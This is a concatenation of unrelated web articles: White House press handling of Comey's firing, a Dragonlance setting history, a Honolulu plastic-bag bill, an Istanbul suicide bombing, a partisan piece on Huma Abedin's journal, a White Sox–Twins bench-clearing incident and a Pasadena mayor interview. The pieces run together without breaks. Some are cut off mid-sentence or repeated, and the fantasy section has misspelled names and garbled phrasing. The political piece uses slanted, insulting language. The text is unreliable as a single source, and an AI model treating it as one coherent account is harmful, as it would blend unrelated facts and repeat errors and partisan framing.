What do you see as the future of open source in data journalism?
I'm no psychic, but I see no reason why data journalism teams that are embracing open source today should go proprietary tomorrow.White House press secretary Sean Spicer. Chip Somodevilla/Getty Images
The Washington Post’s Jenna Johnson has an interesting look at how the White House’s communications staff responded to word that FBI Director James Comey had been fired on Tuesday night. From the Post:
Spicer had wanted to drop the bombshell news in an emailed statement, but it was not transmitting quickly enough, so he ended up standing in the doorway of the press office around 5:40 p.m. and shouting a statement to reporters who happened to be nearby. He then vanished, with his staff locking the door leading to his office. The press staff said that Spicer might do a briefing, then announced that he definitely wouldn’t say anything more that night.
As commentary on Comey’s firing began intensifying on the Hill and in the press, Johnson writes that Spicer, deputy press secretary Sarah Huckabee Sanders, and Kellyanne Conway made their way to TV camera crews. Initially, Sanders and Conway spoke to the press while Spicer, quite literally, hid in some bushes nearby:
After Spicer spent several minutes hidden in the bushes behind these sets, Janet Montesi, an executive assistant in the press office, emerged and told reporters that Spicer would answer some questions, as long as he was not filmed doing so. Spicer then emerged.
“Just turn the lights off. Turn the lights off,” he ordered. “We’ll take care of this. … Can you just turn that light off?”
Spicer got his wish and was soon standing in near darkness between two tall hedges, with more than a dozen reporters closely gathered around him.
According to Johnson, Spicer claimed to reporters that Deputy Attorney General Rod Rosenstein had launched a probe of Comey completely independently and that Trump had been unaware of its existence until Tuesday. Spicer told reporters that he didn’t know whether Attorney General Jeff Sessions had been involved, whether Trump had spoken with Rosenstein about the findings in his memo about Comey, whether Rosenstein was involved in a larger probe of the FBI, or when Trump and Comey had last spoken. After 10 minutes, he left. “Spicer walked with his head down,” Johnson writes. “As he approached the door, aides warned reporters not to get too close. He then disappeared inside, enveloped by the warmly lit White House.”
Incidentally, Sanders will run Wednesday’s White House press briefing, not Spicer.
This post has been updated.On the History of the Dragonlance Setting
The early era of Dungeons and Dragons didn’t quite have the unified backstory of today’s games. While the mechanics were all in place, there wasn’t a true world in which players could play.
As such, the designers made a series of background settings that would allow players to populate their own worlds. The most popular of these settings was the world of Krynn, in a setting that would come to be called Dragonlance.
Dragonlance itself is a curious mix of high and low fantasy. While magic is certainly very prevalent, there’s still a lot that you’d expect to see from a sword and sorcery novel in the universe.
In that way, it seems, the universe is very representative of early Dungeons and Dragons. It features a level of depth that’s not terribly common in the role playing universe, though, and the world built here is one that doubtlessly influenced generations to come.
Perhaps the true testament to the importance of the world of Dragonlance is that it quickly outgrew Dungeons and Dragons. There are arguably more people who have read the novel than ever played one of the Dragonlance D&D modules. Despite its humble beginnings, the world of Dragonlance has become something truly special.
The World of Krynn
Dragonlance takes place on the world of Krynn. The stories have primarily taken place on two continents, Ansalon and Taladas. Beyond those two locations, precious little is known about the world. What’s more important than the geography has always been the numerous races who live on the world.
The most common race on Krynn is that of the humans, who are much like humans in any other fantasy setting. Also fairly common are elves, dwarves, and gnomes. Krynn is set apart from the other D&D settings by the prevalence of kender and minotaur, two races that are significantly more rare in other game worlds. The races interact, trade, and sometimes war with one another.
The world is also inhabited by chromatic and metallic dragons. The former are evil, while the latter tend to be good. As the story progresses, the number of these dragons wax and wane. Nonetheless, they play an important role in the setting.
The gods of Krynn are not as plentiful as in other fantasy settings. There is a single High God, but most dealings are done with his three children. Paladine is the Good god, Takhsis is Evil, and Gilean is neutral. There are also three unrelated moon gods, Solinari, Lunitari, and Nuitari. Clerics get their power from the former gods, while wizards get their powers from the latter.
Five Ages of Krynn
The Dragonlance setting has progressed through favor major epochs of Krynn’s history. These are known as the Five Ages of Krynn, and each is marked by a specific set of events. The majority of Dragonlance’s history in the books and games have taken place during the Fourth and Fifth Ages.
The first age of Krynn was the Time of Creation. It is during this era that Krynn was created, and the gods were born. Relatively little is known about this time, and it doesn’t feature heavily in the novels.
The second age of Krynn is the Age of Dreams. This is when the first civilizations were created and the new races started to spread across the face of the world. It is in this era that mortals really start to become a force on the planet. There will be three great wars between dragons in this era. Then end of the Third Dragon War ushers in the end of this time period.
Next comes the Age of Might. A great cataclysm completely changes the surface of the world and destroys the world’s great empire. It is a horrific event that greatly informs the years to come.
The fourth age is the Age of Despair, which is also the age in which the War of the Lance occurs. The novels and D&D modules take place in this era and the following era, the Age of Mortals.
What Are Dragonlances?
Though the series are named for the titular Dragonlances, they’re actually not as important to the overall story as you might think.
While not terribly common weapons, they do show up at multiple points in the story. They are clearly influenced by the weapons used by saints in European stories of dragon slayers, and thus play a fairly familiar role in the setting.
Dragonlances are holy weapons created to kill dragons. Dating back to the end of the Age of Dreams, they were the only weapons that mortals could actually use to kill dragons. They’re rare weapons, as they require the use of god-blessed artifacts to create. There are Greater dragonlances, which are made with two artifacts, and Lesser dragonlances, which are made with one.
Dragonlances come in two size varieties. Footmen use smaller lances, which are about eight feet long and can be used while on the ground or on horseback. There are also much larger lances which are wielded while on the back of dragons. The function of the weapon in either case is the same.
These weapons are perhaps most important because they lend their name to the setting. As the story doesn’t always involve dragons, though, they don’t show up quite as much as one might expect.
Dragonlance Novels
The Dragonlance series is by far best known for its series of wildly successful fantasy novels. Published from the mid-1980s through the 2010s, the novels have created a wide ranging universe that has followed several characters and seen the world change significantly.
The Dragonlance series is written by a number of authors. Margaret Weis and Tacy Hickman can and should be considered the primary authors of the series, as they are largely responsible for writing not only the “main story” of the universe but also editing many of the anthologies. A truly astounding number of other authors have written stories in the universe, though, often expanding on the main plot.
The Dragonlance stories began by following a group of Companions, including Tanis Half-Elven and the Majere brothers. The books moved through the War of the Lance, the Blue Lady’s War, the Chaos War, the Dawn of the Fifth Age and the departure of the gods from Krynn.
There are literally dozens of novels, most of which either explain back story mentioned in the main books or expound upon the lives of secondary characters. The books have been published for decades, but do maintain a relatively tight continuity.
Here’s information on some of the novels.
The Chronicles trilogy
By Margaret Weis and Tracy Hickman.
Dragons of Autumn Twilight (November 1984)
(November 1984) Dragons of Winter Night (April 1985)
(April 1985) Dragons of Spring Dawning (November 1985)
Raistlin Chronicles
By Margaret Weis and Don Perrin.
The Soulforge (January 1998)
(January 1998) Brothers in Arms (August 1999)
Kaz the Minotaur
The Legend of Huma (March 1988), by Richard A. Knaak
(March 1988), by Richard A. Knaak Kaz the Minotaur (July 1990), by Richard A. Knaak
(July 1990), by Richard A. Knaak Land of the Minotaurs (January 1996), by Richard A. Knaak
Anvil of Time
The Sellsword (April 2008), by Cam Banks
(April 2008), by Cam Banks The Survivors (November 2008), by Dan Willis
(November 2008), by Dan Willis Renegade Wizards (March 2009), by Lucien Soulban
(March 2009), by Lucien Soulban The Forest King (June 2009), by Paul B. Thompson
The Lost Chronicles Trilogy
This series fills in the gaps in the Chronicles trilogy storyline.
Dragons of the Dwarven Depths (July 2006), by Margaret Weis and Tracy Hickman
(July 2006), by Margaret Weis and Tracy Hickman Dragons of the Highlord Skies (July 2007), by Margaret Weis and Tracy Hickman
(July 2007), by Margaret Weis and Tracy Hickman Dragons of the Hourglass Mage (August 2009), by Margaret Weis and Tracy Hickman
Elven Exiles
By Paul B. Thompson and Tonya C. Cook.
Sanctuary (October 2005),
(October 2005), Alliances (October 2006)
(October 2006) Destiny (September 2007)
We’re working on a full list of Dragonlance novels that will be finished soon. Meanwhile, let’s look at some of the people and dragons you’ll meet in the books.
Dragonlance Dragons
It wouldn’t be Dragonlance without dragons. These three creatures are characters with their own wants and desires, though their connection to the major cast is what makes them so important. While dragons have always been a huge feature of Dungeons and Dragons, they were never so important as when they were featured in Dragonlance.
Skie
Skie is a gigantic blue dragon who also goes by the name of Khellendros. As a chromatic dragon, he was naturally drawn towards evil and fought on the side of Takhsis during the War of the Lance. He served as Kitiara’s mount during the war, even though he would later go on to turn away from Takhsis. Indeed, his decision to turn away from the worship of the evil god would lead to his eventual mortal wounding. His death was brought about by the great dragon overlord Malystryx. It was something of an bitter end for a dragon that had formerly showed so much strength and promise.
Skie was not native to the world of Dragonlance. Instead, he was brought over alongside many other alien dragons during the War of the Lance. The alien dragons would prove to be very important during that war, and their presence (and lack thereof) would remain an issue during the ages to come. Skie’s death showed that these dragons very much had their |
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^ This is the diameter of the largest sphere one can describe inside the void that contains no superclusters. Some voids have an elongated shape, so this diameter may underrepresent the size of some voids.
A map of galaxy voidsA panel of Honolulu City Council members debated a bill Wednesday to make Honolulu’s plastic bag regulations more stringent, but decided to delay action until stakeholders can come up with a better method to encourage shoppers to bring their own reusable bags when grocery shopping.
The city approved a law four years ago to prevent grocery stores from giving out thin disposable plastic bags. The idea was to cut down on litter and carbon emissions associated with making the bags.
But when the law went into effect last year, some stores decided to give out thicker plastic bags instead of getting rid of them altogether, to the frustration of environmentalists.
Bill 59, introduced by Councilman Brandon Elefante, seeks to increase the minimum thickness for the bags and ban stores from giving out compostable plastic bags. The city doesn’t have a facility to compost those bags, which are instead burned at a waste-to-energy plant.
The discussion Wednesday largely focused on the best method for encouraging shoppers to bring their own bags.
Lauren Zirbel from the Hawaii Food Industry Association opposes Bill 59, but both she and Stuart Coleman from the Surfrider Foundation said they’d support requiring retailers to charge a fee for both paper and plastic bags to discourage shoppers from taking bags.
cory Lum/Civil Beat
The rare note of agreement between usually opposing sides was encouraging to Councilwoman Carol Fukunaga, who leads the committee that deals with sustainability. She decided to defer the bill until industry and environmental activists propose an amendment that incorporates a fee.
“If both the plastic bag ban advocates and the industry agree that a fee is the preferred route, I’d like to give them an opportunity to hammer out something that could be really a lot more effective,” she said.
She also asked the city to give her a list of the types of trash cans that prevent bags from being blown out of them, and said the council should consider incentives, like bag credits, to encourage consumers to bring their own bags.
Both Zirbel and Coleman said research shows that fees are the most effective way to discourage plastic bag use.
Zirbel noted that California approved a fee for plastic bags last year, and contended that Honolulu’s current law drives up the cost of food because the thicker plastic bags are more expensive than the thin bags. She suggested the fee could go to retailers, instead of the county.
“If we could do a fee, all the studies show that this is by far the most successful way,” Coleman said. “That would truly be a win-win for the stores, the environmental groups, and the customers.”This is the horrifying moment a woman waved goodbye to her friend moments before the Istanbul attacker detonated his bomb just metres away from her.
The female shopper appeared to be laughing and joking with her companion as she turned to say goodbye before heading towards a shop on one of the Turkish city's busiest streets.
Moments later, a large explosion rips through the busy street, which is lined with international stores and shopping centres.
This is the haunting moment a woman waved goodbye to her friend moments before the Istanbul attacker detonated his bomb just metres away from her
Moments later, a large explosion rips through the tourist area, which is lined with international stores and shopping centres
The video emerged after officials confirmed five people died in Saturday morning's suicide attack.
Two of the five dead are American citizens, The White House has confirmed, with Turkish media reporting two Israelis and an Iranian national were also killed in addition to the bomber.
White House National Security Council spokesman Ned Price said in a statement Saturday: 'We are in close touch with Turkish authorities and reaffirm our commitment to work together with Turkey to confront the evil of terrorism.'
A further 39 people - including at least 24 foreign nationals were injured.
The Israeli citizens have been named by Turkish media as Simha Siman Demri, 60, Yonathan Suher, 40 and Avraham Goldman, 70 by Broadcaster CNN-Turk.
Two of the victims are dual US-Israeli nationals according to a statement released by National Security Council spokesman Ned Price.
A group of Iranian tourists were also among the victims.
Alireza Razmkhah, 45, was killed and his wife, Azan, and baby, Diana, were injured, according to IRNA, the official Iranian news agency. An elderly woman was also wounded in the attack, but was in stable condition, the agency reported.
Turkey's health minister, Mehmet Muezzinoglu, said the 36 people wounded included six Israelis, two Irish citizens and one person each from Iceland, Germany, Dubai and Iran.
Five people have died and at least 36 are wounded after an alleged suicide bomber targeted a tourist shopping area in Istanbul. Above, the scene after the devastating attack
Two men left lying on the floor after the explosion are spoken to by emergency service workers, as one of them clutches his leg
A stretcher bearer pulls a man, identified by Turkish media as Israeli tourist Abraham Rahmi, into Sisli Etfal hospital after he was wounded in the suicide bombing
Rahmi (pictured) is among the seriously injured. Five people have been confirmed dead, two of whom are American citizens, The White House has confirmed, with Turkish media reporting two Israelis and an Iranian national were also killed in addition to the bomber
Istanbul Governor Vasip Sahin would not confirm media reports that the suicide bomber may have been an Islamic State militant although 'detailed' investigations are ongoing.
Earlier, the private Dogan news agency, said the authorities were testing a DNA sample from the father of a suspected IS suicide bomber.
Israeli Prime Minister Benjamin Netanyahu said he had no evidence that a deadly suicide bombing in central Istanbul had targeted Israelis.
Eli Bin, the head of Israel's rescue service MDA, told Channel 2 TV on Saturday that 10 Israelis were wounded in the attack on Istanbul's busiest pedestrian street.
Footage showed shoppers cowering in shops and running away in panic as the explosion ripped through the street, which is lined with international stores and shopping centres.
CCTV footage showed shoppers cowering in shops and running away in panic as the explosion ripped through the street, which is lined with international stores and shopping centres
‘Very shaken, people dead, awful scenes’: Singer Skin from 90s rock band Skunk Anansie tells of horror after being caught up in Istanbul bombing British singer Skin has revealed the terrifying moment the bomb exploded near her Istanbul hotel this morning. Posting on Facebook, Skin - aka Deborah Anne Dyer, said her building'shook like paper' and while she and her group were unharmed, they were'very shaken'. She wrote the message above a picture of Istanbul's iconic skyline taken before a suicide bomber killed four people after detonating explosives at 11am this morning Turkish time. Shaken: Skin, aka Deborah Anne Dyer posted on Twitter that the bomb blast on Istanbul Istiklal Caddesi happened just outside her hotel 'Beautiful Istanbul taken before the horrendous bomb blast that just went off outside our hotel,' she wrote. 'Many people injured, horrific scenes, building shook like paper. My heart goes out to the innocent people and their families caught up in this evil situation. We are ok, very shaken, city is in lockdown, plain clothes police with guns everywhere, scary times.' Later she posted a photo of the site of the blast, where people have gathered to leave flowers, candles and tributes to the three Israeli and one Iranian victims who died. 'Beautiful Istanbul': The frontwoman of 1990s rock band Skunk Anansie said her heart was with the innocent people affected by the attack Tributes: Skin paid her respects to the victims of the bomb attack posting this picture #2IstanbulWithLove
Photographs taken of the aftermath showed the street, which is also close to a local government office, covered in blood as tourists and residents battled to help the wounded.
No group has claimed responsibility, but Turkish officials have named both ISIS and Kurdish terror group, the PKK as suspects.
Istiklal Caddesi is one of Istanbul's busiest pedestrian shopping thoroughfares and while it is visited by thousands of Turks and foreigners everyday.
Balo Sokak, the side street near to the explosion is close to an area known for having a heavy police presence in recent years.
The city's governor, Vasip Sahin, said at least three of the people injured are in a serious condition, with a number foreigners from Israel, Ireland, Iceland, Germany, the U.A.E. and Iran caught up in the attack.
Turkish ministers responded by implementing a press ban, leaving Turks relying on foreign media for their news.
Some internet providers also appeared to slow down access to social media in what has become a pattern in the wake of terror attacks in the country.
World leaders have condemned the second terrorist attack in Turkey in less than a week after 37 people were killed in Ankara last Sunday. It is Turkey's fourth terror attack this year.
The street, which had been lined with flags and bunting prior to the attack, was flooded with police as they rushed to help the wounded after the attack
A father and daughter flee the scene, where people have been left covered in blood as emergency services battle to help the wounded
A man and a woman can be seen jumping a piece of police tape as they attempt to escape from the scene
The United States has said it'stands in solidarity' with Turkey in combating 'the common threat of terrorism.'
U.S. State Department spokesman John Kirby says the attack is the latest in a series of what he describes as 'indefensible violence targeting innocent people' throughout Turkey.
In a statement he added that 'these acts of terrorism only reinforce our determination to support all those across the region working to promote peace and reconciliation.'
Ireland's Minister for Foreign Affairs and Trade Charlie Flanagan expressed his 'horror and sadness' at the bombing, saying: 'I am deeply saddened by today's horrific bomb attack in central Istanbul.
Shrapnel: Locals gather to inspect the shrapnel damage of shop shutter damaged by the blast
Crowds gather near the site of the explosion on Istiklal Street this evening next to the iconic street tram
Repair: Workmen are already on the scene fixing broken windows at restaurant damaged by the blast
Deserted: The rest of Istanbul's busiest pedestrian shopping streets was deserted tonight
Before: Thousands of tourists and locals visit Istiklal Caddesi every day to shop, eat and drink. Bars and clubs stay open all night as street vendors sell hot chestnuts and mussels stuffed with rice and spices
'I have spoken to ambassador Brendan Ward in Turkey and can confirm that we are aware of a number of Irish citizens among the injured.
'An embassy official is on the ground in Istanbul to provide consular assistance.'
The British Foreign and Commonwealth Office released a statement from Minister for Europe David Lidington that said he was 'appalled' to hear of the attack.
'The UK stands side by side with its Turkish friends at this difficult time and offers any assistance that may be required to track down those responsible. With unity, calm and determination, we can defeat the menace of terrorism,' he said.
The bomber, who was killed in the attack, was planning on detonating the device in a more crowed place but was deterred, officials revealed.
Instead, they are said to have suddenly carried out the attack on the street 'out of fear'.
The mile long street usually thronging with people on a Saturday night was uncharacteristically empty this evening as people stayed away.
Cafes and restaurants were eerily quiet, despite being reopened to the public.
British singer Skin wrote on Facebook that the blast went off near her Istanbul hotel and that buildings'shook like paper'. She also expressed solidarity with the 'innocent people and their families caught in this evil situation'.
'Istiklal is so quiet you can hear the singing from St. Anthony's', American journalist Patrick Adams wrote on Twitter, referring to Istanbul's largest Catholic Church set amid the hustle and bustle of the busy street.
Eerie: Empty streets in the wake of the bomb that killed five people - including three Israelis and an Iranian
Germany shut its embassy in Ankara, its Istanbul consulates and two schools on Thursday after receiving 'concrete indications' of a terror attack on German institutions in Turkey
Initial findings indicated that the outlawed Kurdistan Workers Party (PKK) or an affiliate were responsible for the bombing although officials said ISIS may be involved.
It comes after Germany shut its embassy in Ankara, its Istanbul consulates and two schools on Thursday after receiving 'concrete indications' of a terror attack on German institutions in Turkey.
Twelve German tourists were killed in a January suicide attack in a historic district of Istanbul.
A car bombing earlier this month killed 37 people and injured 125 others in the country's capital, Ankara.
There were also attacks across the country yesterday. One police officer died in a bomb attack by Kurdish militants while another device was defused outside a local government building.
The country has been on high alert since the March 13 car bomb, in which two suspected Kurdish militants, one of them a woman, targeted people milling near a busy transport hub.
A closer shot shows exactly where the attacker detonated their bomb, as investigators examine the ground and nearby shops
A man who survived the bombing is helped by emergency services, who discovered him on the pavement after the attack
A man is taken from the scene on a stretcher by some of the dozens of doctors and paramedics who arrived after the bomb
Shocking CCTV footage showed cars travelling close to the main square when a massive explosion ripped through the area, setting nearby vehicles ablaze.
The bomb, which Kurdish rebel group TAK claimed responsibility for, had been packed with pellets and nails to cause maximum injury and carnage, a police source said.
TAK, which also claimed a similar car bombing in Ankara in mid February that killed 29 people, has ties to the outlawed Kurdistan Workers' Party (PKK), against which the Turkish army is waging a major military campaign.
A court in Ankara on Friday evening remanded five people in custody on suspicion of links to last week's attack in the capital.
Emergency services are on scene following the explosion, which happened on a busy pedestrian street (above) lined with international stores and shopping centres
Some people took shelter behind the metal barrier of a shop as police arrived on the scene
Police secure the area following the alleged suicide bombing in a major shopping and tourist district
Two investigators walk towards the scene of the bomb, which has been taped off by police officers
While officials examined the area, police clutching riot shields and wearing bullet proof vests stopped anyone from entering
In a statement, TAK said the bombing aimed to avenge Kurds killed during a ongoing military offensive against the PKK and said it had not meant to target civilians.
The latest events have led President Recep Tayyip Erdogan to vow he will bring terrorism 'to its knees'.
Mr Erdogan said Turkey would use its right to self-defence to prevent future attacks and called for national unity.
He said: 'Our people should not worry, the struggle against terrorism will for certain end in success and terrorism will be brought to its knees.'Sina Ali Musati claimed he did it as a distraction from the Monica Lewinsky scandal - which was then at its height
journal published claims by a Canadian law student about the 1998 bombing Bill Clinton ordered in Iraq
An article in the Muslim journal where Huma Abedin was assistant editor claimed Bill Clinton bombed Saddam Hussein to deflect from his Monica Lewinsky affair.
The claim made made in an article published in the Journal of Muslim Minority Affairs, where Abedin was a member of the editorial board - the group of people who decide what is published in the academic journal.
It is the latest bombshell to emerge from the archives of the journal, whose editor-in-chief is Abedin's mother, Saleha Mahmood Abedin, an academic in Saudi Arabia.
Abedin, who is not an academic, has been Hillary Clinton's closest aide since spending time as an intern at the White House, at exactly the time the Monica Lewinsky scandal was unfolding.
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Affair: Bill Clinton's 'not appropriate' relationship with Monica Lewinsky led to his impeachment - and as the House moved towards the articles, he ordered airstrikes on Iraq
Strike: An Arleigh Burke-class destroyer launches a Tomahawk cruise missile as part of Operation Desert Fox - which Abedin's journal says was ordered to distract from Bill Clinton's scandals
Address: Bill Clinton used an Oval Office address to tell the nation of the airstrikes on the Saddam regime, to degrade his alleged ability to produce weapons of mass destruction
But the version of events published in her journal is one which is unlikely to be embraced by the presidential candidate, and especially not by Bill Clinton.
It is outlined in a provocative article published in 2002, and headlined: 'Arab/Muslim 'Otherness': The Role of Racial Constructions in the Gulf War and the Continuing Crisis with Iraq.'
The article was written by Sina Ali Muscati who was the time described as a'second year law student' at the University of Ottawa. His academic credentials were not declared.
Key role: Huma Abedin, like her sister and brother, was a member of the editorial board of the journal and therefore responsible for selection what was published
Muscati wrote about the 1991 conflict and its aftermath, which saw Saddam Hussein remain in power throughout the 1990s, despite being bombed twice - in 1996 and in December 1998.
'The crisis with Iraq has also probably benefited Clinton, serving as a good deterrent of attention from personal crises, such as his campaign funding scandals, legislative failures, or the Monica Lewinsky affair,' he said.
'By occasionally bombing Iraq in the name of humanity, at least, he has been able to look strong and presidential.'
Clinton's bombing of Iraq in December 1998 was widely mocked as 'Monica's war'.
He ordered four days of strikes by bombers and cruise missiles at the height of his impeachment trial, brought in the wake of his admission that he had had a 'not appropriate' relationship with Monica Lewinsky.
The strikes - known as Operation Desert Fox- were ordered the day after the House of Representatives issued a report accusing the president of 'high crimes and misdemeanors' and ended on the day the articles of impeachment were passed.
Previous strikes in 1996, Operation Desert Strike, were ordered during a campaign finance scandal.
Among the other allegations leveled in the article are claims that the Gulf War of 1991 was driven by a desire for profits and political gain, with the U.S. government and media glossing over the deaths of hundreds of thousands of innocent Iraqis who were 'demonized' and 'characterized as subhuman'.
The article claimed that President George HW Bush, who ordered the invasion by a U.S.-led coalition force, saw his support rating jump nearly 90 per cent following the war. In fact he was voted out of office after his first term.
Dictator: Iraq's dictator Saddam Hussein was the target of the 1998 Operation Desert Fox. The journal's article also claims that the U.S. should not have backed Kuwait when he invaded it in 1990
Same roles: Both Huma (with husband Anthony Weiner) and her sister Heba Abedin were assistant editors at the journal, while their brother Hassan was associate editor.
At her side: Huma Abedin with Hillary Clinton. The journal, where hse was on the editorial board before she was appointed as Clinton's top aide, has opposed women's rights and blamed the US for 9/11
The 2002 article claimed that hundreds of thousands of Iraqis died 'directly from the war, from subsequent civil strife, or from the American and British enforced UN sanctions'.
It goes on: 'Following the Gulf War, Iraqi rebellions publicly urged by the then President [HW] George Bush, but which received no American support, led to tens of thousands more Iraqis killed or made homeless by their army, almost under the noses of retreating American troops.
'Subsequent sanctions have led to even more Iraqi deaths, including over 600,000 Iraqi children alone.'
The journal article said that Iraqis were viewed with a 'racist outlook' and described in the media, by the U.S. government and military in terms including 'cockroaches' and 'barbaric', pitting Muslims and Arabs as evil against a humanitarian Western force.
The article also questioned the motives behind the 1991 Gulf War – suggesting that the real reason was to protect American access to Middle Eastern oil and not for the liberation of Kuwait, as the U.S. government had claimed.
'Indeed, it seems that had Iraq not been an Arab and Muslim country occupying huge oil reserves, the Gulf War would have been unacceptable,' it reads.
In the article's view, 'Saddam Hussein seems to have paid a great service to the West.'
'Gulf oil reserves were brought under greater Western control, the glory of American military might was assured, lucrative arms sales increased, and Western leaders were popularized.
'Moreover, the costs fell mainly on the Iraqi people, who were largely the ones to pay the price of blood.'
The article openly accused the U.S. of double standards in claiming that Saddam Hussein was a 'brutal aggressor' for invading its neighbors – while the U.S. had been condemned by the United Nations for its own invasions of Grenada and Panama in the 1980s.
'In fact the Panama invasion claimed between 1000 and 4000 lives, making it even bloodier than Iraq's invasion of Kuwait,' according to the article.
The article also appeared to defend Saddam's decision to invade: 'Kuwait's economic policies were far more damaging to Iraq than Panama's were to the US.'
It also questioned why the U.S. ignored what it claimed was the historical conflict between Iraq and Kuwait to serve its own ends – and why America would take the side of Kuwait in the first place.
Hillary pictured with Saleha Mahmood Abedin, mother of Huma, at a women's college in Jeddah in 2010. She remains editor-in-chief of the journal
'Another purported objective of the war, preserving peace and liberty in Kuwait, makes little sense. Kuwait is a dictatorship with a poor human rights record. It abolished its parliament shortly before the Iraqi invasion to become an absolute monarchy, leaving little freedom to defend there.'
The article also alleged further hypocrisy on the part of the U.S. and Israel who had focused on Arab/Muslim conflict when they 'have done nothing' to restore the Palestinian rights demanded by the UN Security Council.
It also criticized U.S. journalists who 'frequently refer to occupied Palestinian land as 'disputed' territory, as US diplomats do'.
The article suggests that the American people were hoodwinked into supporting war with Iraq due to the media and were 'convinced that Saddam Hussein posed a serious threat'.
At the time of publication, Abedin was an aide to Clinton, who was then the junior senator for New York.
That same year Clinton voted in favor of giving her husband's successor, George W Bush, authority to declare war on Hussein. Clinton has also been consistently pro-Israel.
Family: Huma Abedin is married to disgraced sex pest congressman and failed would-be New York mayor Anthony Weiner
The journal is heavily associated with the Abedin family.
The editorial board - the group who decided on the contents - included Huma's mother as editor-in-chief, her brother Hassan as associate editor and her sister Heba as another assistant editor.
The Clinton campaign did not respond to a request for comment on Abedin's role at the journal or whether she was paid for her position.
Huma Abedin was listed on the journal's masthead for more than a decade after she joined Clinton's team in 1996, rising from White House intern to one of the presidential nominee's closest confidantes.
She is a likely pick for chief of staff in a Clinton administration.
Abedin, who is married to disgraced congressman Anthony Weiner, who is Jewish, has denied having a working role on the Journal of Minority Muslim Affairs.
Her name first appeared on the magazine in 1996 and was dropped in 2008 around the time she went to work for Clinton at the State Department.
'My understanding is that her name was simply listed on the masthead in that period. She did not play a role in editing at the publication,' a Clinton spokesman told the New York Post earlier this week.
That claim appears contradicted by her presence on the editorial board. Abedin herself rarely makes public statements, although she used an interview with Vogue - whose editor Anna Wintour is a vocal Clinton supporter - to speak of her Muslim faith and fluency in Arabic.
The Journal of Muslim Minority Affairs' contents often appear to be at odds Clinton's avowed positions on feminism, homophobia and Middle Eastern policy.
An earlier article published in the academic Islamic journal also alleged that there were deep ties between the upper echelons of U.S. politics and pro-Israeli, Jewish-Americans, suggesting that Jewish people have been able to 'work the system' and are 'greatly aided by the American memory of the Holocaust' and Israel serving as America's ally in the Middle East.May hit Abreu in the rib cage with a 97-mph fastball after Byung Ho Park was hit by Sox right-hander Nate Jones with 96-mph heater in the top of the eighth. Abreu made his unhappiness known to May and the teams met briefly near first base before order was quickly restored, with Twins infielder Eduardo Nunez seemingly calming down Abreu. No punches were thrown and no players were ejected.
CHICAGO -- Both benches and bullpens cleared Friday night after Jose Abreu was hit by a Trevor May fastball with one out in the eighth inning of the White Sox 10-4 victory over the Twins at U.S. Cellular Field.
CHICAGO -- Both benches and bullpens cleared Friday night after Jose Abreu was hit by a Trevor May fastball with one out in the eighth inning of the White Sox 10-4 victory over the Twins at U.S. Cellular Field.
May hit Abreu in the rib cage with a 97-mph fastball after Byung Ho Park was hit by Sox right-hander Nate Jones with 96-mph heater in the top of the eighth. Abreu made his unhappiness known to May and the teams met briefly near first base before order was quickly restored, with Twins infielder Eduardo Nunez seemingly calming down Abreu. No punches were thrown and no players were ejected.
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Minnesota manager Paul Molitor claimed no intent on the pitch to Abreu and said May was simply pitching Abreu inside, especially after the Sox slugger had homered off Twins starter Ricky Nolasco on a slider away leading off the third.
Video: MIN@CWS: Abreu launches a homer to left field
"Just tried to get in there, and that's all she wrote," May said. "He chose to react the way he wanted to react, and I just wanted the ball back. I just wanted a new ball and to move on."
"Benches get heightened immediately when that happens," Molitor said. "There was some shouting across the field, and that led to people pouring out there."
Abreu apologized to his organization for his actions after the game.
"I was out of character and it was something in the game," said Abreu through interpreter and White Sox Spanish-language broadcaster Billy Russo. "I apologize to all the people with the White Sox."
A warning was issued to both clubs, which drew the ire of White Sox manager Robin Ventura, who argued with first-base umpire and crew chief Bill Miller that May should have been ejected for hitting his player intentionally, while Park was hit accidentally. Ventura was ejected for the second time this season, drawing a standing ovation from the crowd and the support of his players in the postgame clubhouse.
Video: MIN@CWS: Park gets hit by a pitch, stays in game
"That showed me respect," Abreu said. "They respect me and I respect them, and especially Robin. Robin was there to defend me and it was good. I always say we are a family, and we showed today that we really are a family."
"It definitely becomes a reaction to something," Ventura said. "I felt that was, and especially with Pito [Abreu's nickname], you're always sensitive to that and you respond to that. It's a difference of opinion."
Park defended his teammates, as well, but through an interpreter had no comment as to whether Jones' pitch was intentional. The White Sox made their own statement standing behind their star.
"We're not going to back down or be afraid in that situation," Ventura said. "You back the guy up. For me, there was intent there."
"If he does step out there like that, then we're all going to be there," White Sox shortstop Tyler Saladino said. "We're a team. That's what we do. It doesn't matter who it is. If something happens like that, you're there for the guys."Mayor Bogaard, you recently announced that you will not be seeking reelection in 2015 after serving Pasadena for 16 years as its first directly elected mayor. What brought you to retire from elected office?
Bill Bogaard: I decided that the time had come for a change in my lifestyle. It was influenced significantly by August vacations with my wife, Claire—a reminder that our grandchildren are growing up fast. I decided I wanted to spend more time with them.
Mayor, when you took office on the steps of Pasadena City Hall in May 1999, you said: “It’s time to go for it. Let’s go for it now!” You set out a broad agenda. Reflect on those 16 years. What has been accomplished that you are most proud of, and what remains to be accomplished?
There is no question that the City of Pasadena has made a lot of progress in those years. I hasten not to take credit, but to say that the times were right. We remember how expansive the economy was after a slowdown during the 1990s. Pasadena had a General Plan, Specific Plans, and other zoning in place that had been developed over a long period of time and fit very well with the city.
Pasadena has emerged as a place known for offering an urban lifestyle. Mixed-use projects provide residential opportunities, as well as retail and restaurants. During that time, light rail arrived and is providing service at six stations in Pasadena. There has been significant residential development along the Gold Line corridor.
Pasadena has continued to protect and celebrate its architectural heritage so that, today, it is a unique city admired widely. I attribute that to the elegant vision created by our ancestors in the early part of last century. The spirit, goodwill, and capability of many in this community allowed us to pursue that vision.
You said in that 1999 speech: “I’m not elected to be a caretaker, but to serve as a catalyst to bring our community together in building a great city.” You went on: “And most important, this vision means empowering men, women, and children of all communities and neighborhoods to solve problems together.” Talk about that political and civic culture. How has it played out in your years as mayor?
Pasadena does have a long tradition of community involvement. It’s one of the principles of our General Plan, adopted in the early 1990s: Community outreach shall be part of all of the city’s activities. That outreach goes to every corner of the community—to persons of all backgrounds, all income levels, and with any viewpoint. This helps create the vitality of our community today. I’ve treasured the opportunity to encourage community participation in our planning processes and project approvals, along with simply shaping what our priorities ought to be for budget purposes.
Perhaps there is nothing left to be done after your 16 years! But, if that’s not true, let’s turn to some of the challenges Pasadena still faces. We have interviewed you, for example, many times over the decades about the 710 freeway and Metro’s build-out plans. Could you comment on transportation and mobility in your city? What still needs to be done?
